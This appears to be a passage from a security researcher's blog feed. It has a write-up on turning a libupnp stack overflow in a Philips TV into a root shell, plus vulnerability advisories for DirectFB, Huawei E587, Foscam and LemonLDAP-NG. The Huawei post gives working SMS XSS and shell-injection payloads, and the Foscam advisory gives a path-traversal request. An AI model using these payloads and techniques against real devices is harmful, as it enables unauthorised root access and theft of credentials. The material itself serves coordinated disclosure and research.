CVE-2012-5958 is a remote stack overflow in the "unique_server_name" function. We cross-compile the same version of libupnp used in the TV set (1.4), for the same architecture (MIPS32) with the same compiler (GCC 4.2.4).

Then we disassemble the vulnerable function :

[...]
.text:00004D4C                lw      $ra, 0x158($sp)
.text:00004D50                lw      $s3, 0x154($sp)
.text:00004D54                lw      $s2, 0x150($sp)
.text:00004D58                lw      $s1, 0x14C($sp)
.text:00004D5C                lw      $s0, 0x148($sp)
.text:00004D60                jr      $ra
.text:00004D64                addiu   $sp, 0x160
.text:00004D64  # End of function unique_service_name

Function epilogue restores 4 registers (plus $ra) before returning to calling function. The stack overflow allows to overwrite them with almost arbitrary values (there's a lot of forbidden bytes).

Among functions that call "unique_server_name", the "ssdp_request_type" function uses registers $s0 & $s1 right after the call return.

.text:00004DB4                 jalr    $t9 ; unique_service_name
.text:00004DB8                 move    $a1, $s0
.text:00004DBC                 lw      $gp, 0x28+saved_gp($sp)
.text:00004DC0                 move    $a0, $s1 ; arg0
.text:00004DC4                 la      $t9, 0x49C0
.text:00004DC8                 or      $at, $zero
.text:00004DCC                 jalr    $t9 ; ssdp_request_type1
.text:00004DD0                 sw      $zero, 8($s0); write 0 @ $s0+8

After that, these registers are not used anymore until the end of the function where they'll be restored.

Overwriting saved values of one of these registers $s0, $s1 and $ra with an arbitrary memory address can lead to crash the process if this address is not mapped, or respectively not writable, readable, or executable.

Crashes can be detected in many ways:

denial of service : the process doesn't answer anymore to UPnP requests
specific network activity : the process broadcasts specific packets at startup
crash reports on serial port: from far the handiest method

The observation of process' behavior allows to deduce if an address is mapped and its associated permissions.

By repeating this task in an automated way, it's possible to discover a part of process' memory mapping :

0x00402020-0x00532120   r-x
0x00542020-0x0091af20   rw-
0x0091b020-0x00927efc   ---
0x00928020-0x00930920   rw-
0x00942920-0x00980920+  rwx

Stability of results indicates that these memory regions are not randomized. We can see that last one is a variable-sized executable area. We make the hypothesis this area is the heap.

Injecting arbitrary code

We assume that heap is executable. As libupnp library is open source, we know how UPnP packets are handled, and which ones are stored in heap memory.

Thus, we send a custom UPnP packet to put our arbitrary code at an unknown address in the heap. No memory corruption involved here.

Finding arbitrary code location

As we've already said, this stack overflow allows to arbitrary modify 4 registers ($s0-3) before returning from the vulnerable function. Right after, "ssdp_request_type1" function is called with a single argument $a0 copied from $s1, so we can choose its value.

This function uses its unique argument as a string pointer and checks if it contains some static substrings.

enum SsdpSearchType ssdp_request_type1( IN char *cmd ) {
    if( strstr( cmd, ":all" ) != NULL )
        return SSDP_ALL;
    [...]
    return SSDP_SERROR; }

If at least one static substrings is found in the string pointer, the UPnP process will respond to our request. This behavior lets us know if an arbitrary string pointer contains a specific substring.

So we put one of these substrings (":all" for example) in our arbitrary code, and we use this behavior to search its address in the heap area (we've already discovered heap start address in a previous section)
As we need to send many UPnP packets and to monitor responses, this process takes few minutes.

Remote arbitrary code execution

We are able to put our arbitrary code in heap memory (executable), find out its address, and execute it. Thereby, we get shell access to this system. We can notice that :

all processes are root
stack and heap are executable
stack is not randomized

We can also extract ~~private~~ public [0] RSA key to decrypt firmware updates with pflupg-tool.

[0] Edit 2014/11/14 : Thanks andreashappe for pointing out this mistake.

pflupg-tool : unpack Philips SmartTV firmware

2014-05-16T07:28:00-07:00

pflupg-tool is an unpacking tool for Philips SmartTV firmware (Fusion platform). If your firmware is encrypted, you have to provide the corresponding public key (public exponent + modulus).

You can add public keys in pflupg.h file:

#define PUBLIC_KEYS_CNT 2
// { name, public exponent e (hex string), modulus n (hex string)}
static const char *public_keys[PUBLIC_KEYS_CNT][3] = {
 {"my_key_1", "010001", "AABBCCDD"},
 {"my_key_2", "010001", "010E020F"}
};

Usage: ./pflupg <upg_filename> [key_name]
2 keys available :
* my_key_1
* my_key_2

Source code can be found on GitHub. You'll need Libgcrypt library to compile it.

[CVE-2014-2978] DirectFB remote out-of-bounds write vulnerability

2014-05-15T16:09:00-07:00

Summary

DirectFB is prone to an out-of-bound write vulnerability since version 1.4.4.

The vulnerability can be triggered remotely without authentication through Voodoo interface (network layer of DirectFB).

Details

An attacker can choose to overflow in the heap or the stack.

CVSS Version 2 Metrics

Access Vector: Network exploitable
Access Complexity: Low
Authentication: None
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete

Disclosure Timeline

2014-03-27 Developer notified
2014-04-21 CVE-2014-2978 assigned
2014-05-16 Public advisory

References

http://www.directfb.org/
http://mail.directfb.org/pipermail/directfb-dev/2014-March/006805.html

[CVE-2014-2977] DirectFB integer signedness vulnerability

2014-05-15T16:05:00-07:00

Summary

DirectFB is prone to an integer signedness vulnerability since version 1.4.13.

The vulnerability can be triggered remotely without authentication through Voodoo interface (network layer of DirectFB).

Details

This integer coercion error may lead to a stack overflow.

CVSS Version 2 Metrics

Access Vector: Network exploitable
Access Complexity: Low
Authentication: None
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete

Disclosure Timeline

2014-03-27 Developer notified
2014-04-21 CVE-2014-2977 assigned
2014-05-16 Public advisory

References

http://www.directfb.org/
http://mail.directfb.org/pipermail/directfb-dev/2014-March/006805.html

dfb-wireshark-dissector : DirectFB Voodoo protocol dissector for Wireshark

2014-05-15T15:48:00-07:00

Voodoo is the network layer of DirectFB. dfb-wireshark-dissector is a Wireshark plugin to dissect this protocol.
Main features are :

Both packet & raw modes are supported ;
FLZ decompression ;
Instance ID resolution.

Source code can be found on Github.

Axis Camera M1011 Remote Code Execution Exploit

2013-07-31T08:22:00-07:00

In January 2013, Rapid7 published a great paper describing several vulnerabilities in the most common UPnP libraries. Six months later, many devices based on these libraries have not been updated and are still exposed.

For example, the Axis M1011 camera contains a vulnerable version of libupnp, which can lead to arbitrary remote code execution without authentication.

You can find the corresponding metasploit module on my Github.

To check whether your devices are vulnerable to known UPnP attacks, you can use ScanNow tool by Rapid7.

Huawei Mobile Hostpot remote root code execution by SMS (user-triggered)

2013-07-15T03:59:00-07:00

Huawei E587 3G Mobile Hotspot, version 11.203.27, is prone to two vulnerabilities in WebUI; an XSS and a command injection.
The combination of both allows an attacker (with a little help from the victim) to remotely execute code on the device with root privileges, by sending a specifically crafted SMS.
The vendor has been notified on the 2013/03/18.

Huawei WebUI XSS in SMS inbox page

In /js/main.js, function smsReplaceData() is used to escape HTML tags in incoming SMS before displaying them in the UI.
But a specifically crafted SMS can bypass this flawed function and inject HTML tags in SMS inbox page:

</Content><Index>0'/><![CDATA[<script type="text/javascript">alert(1);</script><input type="checkbox" id='x]]></Index><Content>Coucou, tu veux voir ma balise ?

This XSS is executed when the user browses to SMS inbox page. The device has a notifying icon on its tiny screen to alert user of incoming SMS.

Huawei WebUI Shell injection (CVE-2013-2612)

The HTTP endpoint "/api/device/time" in WebUI is vulnerable to shell command injection. This allows code execution with root privileges.

javascript:saveAjaxData("api/device/time","<?xml ?><request><Month>;mkdir </Month><Day>/tmp/A #</Day><Hour></Hour><Min></Min><Year></Year><Sec></Sec></request>");

You need to split your shell command into children of <request> node in order to respect the 7 chars limit for each child nodes.

Now, you may try to combine them.

[CVE-2013-2612] Huawei E587 3G Mobile Hotspot Command Injection

2013-07-15T03:58:00-07:00

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[CVE-2013-2612] Huawei E587 3G Mobile Hotspot Command Injection
________________________________________________________________________
Summary:
Huawei E587 3G Mobile Hotspot, version 11.203.27, is prone to a command
injection vulnerability in the Web UI.

Successful exploitation allows unauthenticated attackers to execute
arbitrary commands with root privileges.
________________________________________________________________________
Details:
The HTTP endpoint "/api/device/time" in Web UI is vulnerable to shell
command injection. This allows code execution with root privileges.
________________________________________________________________________
CVSS Version 2 Metrics:
Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
________________________________________________________________________
Disclosure Timeline:
2013-03-18 Vendor notified
2013-03-18 CVE-2013-2612 assigned
2013-07-15 Public advisory
________________________________________________________________________
References:
http://www.huawei.com/en/security/psirt/
________________________________________________________________________
Frédéric Basse
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJR48qZAAoJENQ4kG3hg80AJMEH/Rdyx2zmDPzr2Ar5Nc+Fw1ih
aiby28PhIKfXhAst2SrkIp6ogtDEj+PBrgbEy2YJlyKi01z1Uf2UGukxijlQTg7H
0zYivz55vleBrr9OD/A2pxo7sZZy7eswH5jia5abRUVXYYqEVWYp5KWvzbMPO3CY
EgLYxE4uv00ojqHCl9QsD7oa+mR52Jur3QZ/IdCbJJZgmEKmwNJvJ8rb6RvTMcae
+8dWhC8bhfL3UkTW5snYZ4K/euA84LmGvcfd1PXrMAX01xXDdnPJ/JxrzSPLfb1x
6WyZO6cZpgxQqvogemXKOy2MmnNkWlkK0P9OmmDpBQBI66WnyBUxXNFxEr/HFKo=
=6yIl
-----END PGP SIGNATURE-----

[CVE-2013-2560] Foscam <= 11.37.2.48 path traversal vulnerability

2013-03-17T14:39:00-07:00

Summary

Foscam firmware <= 11.37.2.48 is prone to a path traversal vulnerability in the embedded web interface.

The unauthenticated attacker can access to the entire filesystem and steal web & wifi credentials.

Details

GET //../proc/kcore HTTP/1.0

CVSS Version 2 Metrics

Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Confidentiality Impact: Complete
Availability Impact: Complete

Disclosure Timeline

2013-01-18 Vendor fixed the issue in fw 11.37.2.49; no security notice
2013-02-21 Vulnerability found
2013-03-01 Public advisory

Solution

A new firmware is available on vendor's site: http://www.foscam.com/down3.aspx

References

http://code.google.com/p/bflt-utils/
http://wiki.openipcam.com/

Arnaud Calmejane - Frederic Basse

[CVE-2012-6426] LemonLDAP-NG SAML XML Signature Wrapping

2013-03-17T14:31:00-07:00

Summary

LemonLDAP-NG <=1.2.2 is prone to a security vulnerability involving XML signature wrapping in authentication process.

Successful exploits may allow unauthenticated attackers to construct specially crafted messages that can be successfully verified and contain arbitrary content.

This may lead to authentication bypass.

Details

Due to a bad use of Lasso library, SAML signatures are never checked, even if SP forces signature check.

CVSS Version 2 Metrics

Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Impact Type:Allows unauthorized disclosure of information; Allows unauthorized modification

Disclosure Timeline

2012-11-08 Vendor contacted
2012-12-18 Vendor: fixed issue in svn r2698
2012-12-19 CVE-2012-6426 assigned
2012-12-20 Public advisory
2012-12-21 EoW

References

http://jira.ow2.org/browse/LEMONLDAP-570